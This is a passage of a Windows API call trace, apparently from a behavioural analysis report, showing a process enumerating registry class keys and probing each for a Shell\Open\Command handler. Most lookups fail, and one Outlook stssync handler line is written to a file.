lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stssync=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0101.880] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0101.881] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdaa, lpName=0x2eef50, cchName=0x104 | out: lpName="STSUpld.CopyCtl") returned 0x0 [0101.881] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSUpld.CopyCtl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.881] SetLastError (dwErrCode=0x2) [0101.881] RegCloseKey (hKey=0x0) returned 0x6 [0101.881] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdab, lpName=0x2eef50, cchName=0x104 | out: lpName="STSUpld.CopyCtl.1") returned 0x0 [0101.881] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSUpld.CopyCtl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.881] SetLastError (dwErrCode=0x2) [0101.881] RegCloseKey (hKey=0x0) returned 0x6 [0101.881] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdac, lpName=0x2eef50, cchName=0x104 | out: lpName="STSUpld.FileDisplayElement") returned 0x0 [0101.881] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSUpld.FileDisplayElement\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.881] SetLastError (dwErrCode=0x2) [0101.881] RegCloseKey (hKey=0x0) returned 0x6 [0101.881] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdad, lpName=0x2eef50, cchName=0x104 | out: lpName="STSUpld.TitleDisplayElement") returned 0x0 [0101.881] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSUpld.TitleDisplayElement\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.882] SetLastError (dwErrCode=0x2) [0101.882] RegCloseKey (hKey=0x0) returned 0x6 [0101.882] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdae, lpName=0x2eef50, cchName=0x104 | out: lpName="STSUpld.UploadCtl") returned 0x0 [0101.882] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="STSUpld.UploadCtl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.882] SetLastError (dwErrCode=0x2) [0101.882] RegCloseKey (hKey=0x0) returned 0x6 [0101.882] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdaf, lpName=0x2eef50, cchName=0x104 | out: lpName="SVCID") returned 0x0 [0101.882] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SVCID\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.882] SetLastError (dwErrCode=0x2) [0101.882] RegCloseKey (hKey=0x0) returned 0x6 [0101.882] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb0, lpName=0x2eef50, cchName=0x104 | out: lpName="SVCID.Local") returned 0x0 [0101.882] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SVCID.Local\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.882] SetLastError (dwErrCode=0x2) [0101.882] RegCloseKey (hKey=0x0) returned 0x6 [0101.882] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb1, lpName=0x2eef50, cchName=0x104 | out: lpName="SymBinder") returned 0x0 [0101.882] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SymBinder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.882] SetLastError (dwErrCode=0x2) [0101.882] RegCloseKey (hKey=0x0) returned 0x6 [0101.882] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb2, lpName=0x2eef50, cchName=0x104 | out: lpName="SymReader.dia") returned 0x0 [0101.882] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SymReader.dia\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.882] SetLastError (dwErrCode=0x2) [0101.882] RegCloseKey (hKey=0x0) returned 0x6 [0101.882] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb3, lpName=0x2eef50, cchName=0x104 | out: lpName="SyncMgrContent") returned 0x0 [0101.882] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SyncMgrContent\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.883] SetLastError (dwErrCode=0x2) [0101.883] RegCloseKey (hKey=0x0) returned 0x6 [0101.883] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb4, lpName=0x2eef50, cchName=0x104 | out: lpName="SyncMgrFolder") returned 0x0 [0101.883] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SyncMgrFolder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.883] SetLastError (dwErrCode=0x2) [0101.883] RegCloseKey (hKey=0x0) returned 0x6 [0101.883] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb5, lpName=0x2eef50, cchName=0x104 | out: lpName="SyncResultsFolder") returned 0x0 [0101.883] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SyncResultsFolder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.883] SetLastError (dwErrCode=0x2) [0101.883] RegCloseKey (hKey=0x0) returned 0x6 [0101.883] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb6, lpName=0x2eef50, cchName=0x104 | out: lpName="SysColorCtrl.SysColorCtrl") returned 0x0 [0101.883] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SysColorCtrl.SysColorCtrl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.883] SetLastError (dwErrCode=0x2) [0101.883] RegCloseKey (hKey=0x0) returned 0x6 [0101.883] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb7, lpName=0x2eef50, cchName=0x104 | out: lpName="SysColorCtrl.SysColorCtrl.1") returned 0x0 [0101.883] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="SysColorCtrl.SysColorCtrl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.883] SetLastError (dwErrCode=0x2) [0101.883] RegCloseKey (hKey=0x0) returned 0x6 [0101.883] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb8, lpName=0x2eef50, cchName=0x104 | out: lpName="sysfile") returned 0x0 [0101.883] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="sysfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.883] SetLastError (dwErrCode=0x2) [0101.883] RegCloseKey (hKey=0x0) returned 0x6 [0101.883] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb9, lpName=0x2eef50, cchName=0x104 | out: lpName="Sysmon") returned 0x0 [0101.884] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Sysmon\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.884] SetLastError (dwErrCode=0x2) [0101.884] RegCloseKey (hKey=0x0) returned 0x6 [0101.884] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdba, lpName=0x2eef50, cchName=0x104 | out: lpName="Sysmon.3") returned 0x0 [0101.884] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Sysmon.3\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.884] SetLastError (dwErrCode=0x2) [0101.884] RegCloseKey (hKey=0x0) returned 0x6 [0101.884] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdbb, lpName=0x2eef50, cchName=0x104 | out: lpName="System.AccessViolationException") returned 0x0 [0101.884] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.AccessViolationException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.884] SetLastError (dwErrCode=0x2) [0101.884] RegCloseKey (hKey=0x0) returned 0x6 [0101.884] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdbc, lpName=0x2eef50, cchName=0x104 | out: lpName="System.AppDomainManager") returned 0x0 [0101.884] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.AppDomainManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.884] SetLastError (dwErrCode=0x2) [0101.884] RegCloseKey (hKey=0x0) returned 0x6 [0101.884] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdbd, lpName=0x2eef50, cchName=0x104 | out: lpName="System.AppDomainSetup") returned 0x0 [0101.884] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.AppDomainSetup\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.884] SetLastError (dwErrCode=0x2) [0101.884] RegCloseKey (hKey=0x0) returned 0x6 [0101.884] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdbe, lpName=0x2eef50, cchName=0x104 | out: lpName="System.AppDomainUnloadedException") returned 0x0 [0101.885] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.AppDomainUnloadedException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.885] SetLastError (dwErrCode=0x2) [0101.885] RegCloseKey (hKey=0x0) returned 0x6 [0101.885] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdbf, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ApplicationException") returned 0x0 [0101.885] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ApplicationException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.885] SetLastError (dwErrCode=0x2) [0101.885] RegCloseKey (hKey=0x0) returned 0x6 [0101.885] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc0, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ArgumentException") returned 0x0 [0101.885] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ArgumentException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.885] SetLastError (dwErrCode=0x2) [0101.885] RegCloseKey (hKey=0x0) returned 0x6 [0101.885] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc1, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ArgumentNullException") returned 0x0 [0101.885] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ArgumentNullException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.885] SetLastError (dwErrCode=0x2) [0101.885] RegCloseKey (hKey=0x0) returned 0x6 [0101.885] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc2, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ArgumentOutOfRangeException") returned 0x0 [0101.885] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ArgumentOutOfRangeException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.885] SetLastError (dwErrCode=0x2) [0101.885] RegCloseKey (hKey=0x0) returned 0x6 [0101.885] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc3, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ArithmeticException") returned 0x0 [0101.885] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ArithmeticException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.886] SetLastError (dwErrCode=0x2) [0101.886] RegCloseKey (hKey=0x0) returned 0x6 [0101.886] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc4, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ArrayTypeMismatchException") returned 0x0 [0101.886] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ArrayTypeMismatchException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.886] SetLastError (dwErrCode=0x2) [0101.886] RegCloseKey (hKey=0x0) returned 0x6 [0101.886] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc5, lpName=0x2eef50, cchName=0x104 | out: lpName="System.BadImageFormatException") returned 0x0 [0101.886] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.BadImageFormatException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.886] SetLastError (dwErrCode=0x2) [0101.886] RegCloseKey (hKey=0x0) returned 0x6 [0101.886] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc6, lpName=0x2eef50, cchName=0x104 | out: lpName="System.CannotUnloadAppDomainException") returned 0x0 [0101.886] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.CannotUnloadAppDomainException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.886] SetLastError (dwErrCode=0x2) [0101.886] RegCloseKey (hKey=0x0) returned 0x6 [0101.886] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc7, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.ArrayList") returned 0x0 [0101.886] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.ArrayList\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.886] SetLastError (dwErrCode=0x2) [0101.886] RegCloseKey (hKey=0x0) returned 0x6 [0101.886] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc8, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.CaseInsensitiveComparer") returned 0x0 [0101.886] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.CaseInsensitiveComparer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.886] SetLastError (dwErrCode=0x2) [0101.886] RegCloseKey (hKey=0x0) returned 0x6 [0101.886] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc9, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.CaseInsensitiveHashCodeProvider") returned 0x0 [0101.887] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.CaseInsensitiveHashCodeProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.887] SetLastError (dwErrCode=0x2) [0101.887] RegCloseKey (hKey=0x0) returned 0x6 [0101.887] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdca, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.Generic.KeyNotFoundException") returned 0x0 [0101.887] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.Generic.KeyNotFoundException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.887] SetLastError (dwErrCode=0x2) [0101.887] RegCloseKey (hKey=0x0) returned 0x6 [0101.887] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdcb, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.Hashtable") returned 0x0 [0101.887] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.Hashtable\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.887] SetLastError (dwErrCode=0x2) [0101.887] RegCloseKey (hKey=0x0) returned 0x6 [0101.887] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdcc, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.Queue") returned 0x0 [0101.887] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.Queue\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.887] SetLastError (dwErrCode=0x2) [0101.887] RegCloseKey (hKey=0x0) returned 0x6 [0101.887] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdcd, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.SortedList") returned 0x0 [0101.887] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.SortedList\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.887] SetLastError (dwErrCode=0x2) [0101.887] RegCloseKey (hKey=0x0) returned 0x6 [0101.887] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdce, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Collections.Stack") returned 0x0 [0101.887] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Collections.Stack\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.888] SetLastError (dwErrCode=0x2) [0101.888] RegCloseKey (hKey=0x0) returned 0x6 [0101.888] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdcf, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ContextMarshalException") returned 0x0 [0101.888] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ContextMarshalException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.888] SetLastError (dwErrCode=0x2) [0101.888] RegCloseKey (hKey=0x0) returned 0x6 [0101.888] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd0, lpName=0x2eef50, cchName=0x104 | out: lpName="System.ContextStaticAttribute") returned 0x0 [0101.888] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.ContextStaticAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.888] SetLastError (dwErrCode=0x2) [0101.888] RegCloseKey (hKey=0x0) returned 0x6 [0101.888] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd1, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Data.SqlClient.SQLDebugging") returned 0x0 [0101.888] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Data.SqlClient.SQLDebugging\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.888] SetLastError (dwErrCode=0x2) [0101.888] RegCloseKey (hKey=0x0) returned 0x6 [0101.888] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd2, lpName=0x2eef50, cchName=0x104 | out: lpName="System.DataMisalignedException") returned 0x0 [0101.888] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.DataMisalignedException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.888] SetLastError (dwErrCode=0x2) [0101.888] RegCloseKey (hKey=0x0) returned 0x6 [0101.888] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd3, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.Debugger") returned 0x0 [0101.888] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.Debugger\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.889] SetLastError (dwErrCode=0x2) [0101.889] RegCloseKey (hKey=0x0) returned 0x6 [0101.889] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd4, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.DebuggerHiddenAttribute") returned 0x0 [0101.889] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.DebuggerHiddenAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.889] SetLastError (dwErrCode=0x2) [0101.889] RegCloseKey (hKey=0x0) returned 0x6 [0101.889] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd5, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.DebuggerNonUserCodeAttribute") returned 0x0 [0101.889] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.DebuggerNonUserCodeAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.889] SetLastError (dwErrCode=0x2) [0101.889] RegCloseKey (hKey=0x0) returned 0x6 [0101.889] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd6, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.DebuggerStepperBoundaryAttribute") returned 0x0 [0101.889] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.DebuggerStepperBoundaryAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.889] SetLastError (dwErrCode=0x2) [0101.889] RegCloseKey (hKey=0x0) returned 0x6 [0101.889] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd7, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.DebuggerStepThroughAttribute") returned 0x0 [0101.889] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.DebuggerStepThroughAttribute\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.889] SetLastError (dwErrCode=0x2) [0101.889] RegCloseKey (hKey=0x0) returned 0x6 [0101.889] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd8, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.StackFrame") returned 0x0 [0101.889] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.StackFrame\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.889] SetLastError (dwErrCode=0x2) [0101.890] RegCloseKey (hKey=0x0) returned 0x6 [0101.890] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd9, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.StackTrace") returned 0x0 [0101.890] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.StackTrace\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.890] SetLastError (dwErrCode=0x2) [0101.890] RegCloseKey (hKey=0x0) returned 0x6 [0101.890] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdda, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.SymbolStore.SymDocumentType") returned 0x0 [0101.890] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.SymbolStore.SymDocumentType\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.890] SetLastError (dwErrCode=0x2) [0101.890] RegCloseKey (hKey=0x0) returned 0x6 [0101.890] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xddb, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.SymbolStore.SymLanguageType") returned 0x0 [0101.890] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.SymbolStore.SymLanguageType\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.890] SetLastError (dwErrCode=0x2) [0101.890] RegCloseKey (hKey=0x0) returned 0x6 [0101.890] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xddc, lpName=0x2eef50, cchName=0x104 | out: lpName="System.Diagnostics.SymbolStore.SymLanguageVendor") returned 0x0 [0101.890] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.Diagnostics.SymbolStore.SymLanguageVendor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.891] SetLastError (dwErrCode=0x2) [0101.891] RegCloseKey (hKey=0x0) returned 0x6 [0101.891] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xddd, lpName=0x2eef50, cchName=0x104 | out: lpName="System.DivideByZeroException") returned 0x0 [0101.891] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.DivideByZeroException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.891] SetLastError (dwErrCode=0x2) [0101.891] RegCloseKey (hKey=0x0) returned 0x6 [0101.891] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdde, lpName=0x2eef50, cchName=0x104 | out: lpName="System.DllNotFoundException") returned 0x0 [0101.891] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.DllNotFoundException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.891] SetLastError (dwErrCode=0x2) [0101.891] RegCloseKey (hKey=0x0) returned 0x6 [0101.891] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xddf, lpName=0x2eef50, cchName=0x104 | out: lpName="System.DuplicateWaitObjectException") returned 0x0 [0101.891] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.DuplicateWaitObjectException\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.891] SetLastError (dwErrCode=0x2) [0101.891] RegCloseKey (hKey=0x0) returned 0x6 [0101.891] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde0, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.CompensatingResourceManager.ClerkMonitor") returned 0x0 [0101.891] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.CompensatingResourceManager.ClerkMonitor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.891] SetLastError (dwErrCode=0x2) [0101.891] RegCloseKey (hKey=0x0) returned 0x6 [0101.891] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde1, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.CompensatingResourceManager.Compensator") returned 0x0 [0101.892] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="System.EnterpriseServices.CompensatingResourceManager.Compensator\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.892] SetLastError (dwErrCode=0x2) [0101.892] RegCloseKey (hKey=0x0) returned 0x6 [0101.892] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde2, lpName=0x2eef50, cchName=0x104 | out: lpName="System.EnterpriseServices.Internal.AppDomainHelper") returned 0x0 [0101.892] RegOpenKeyExW (in: 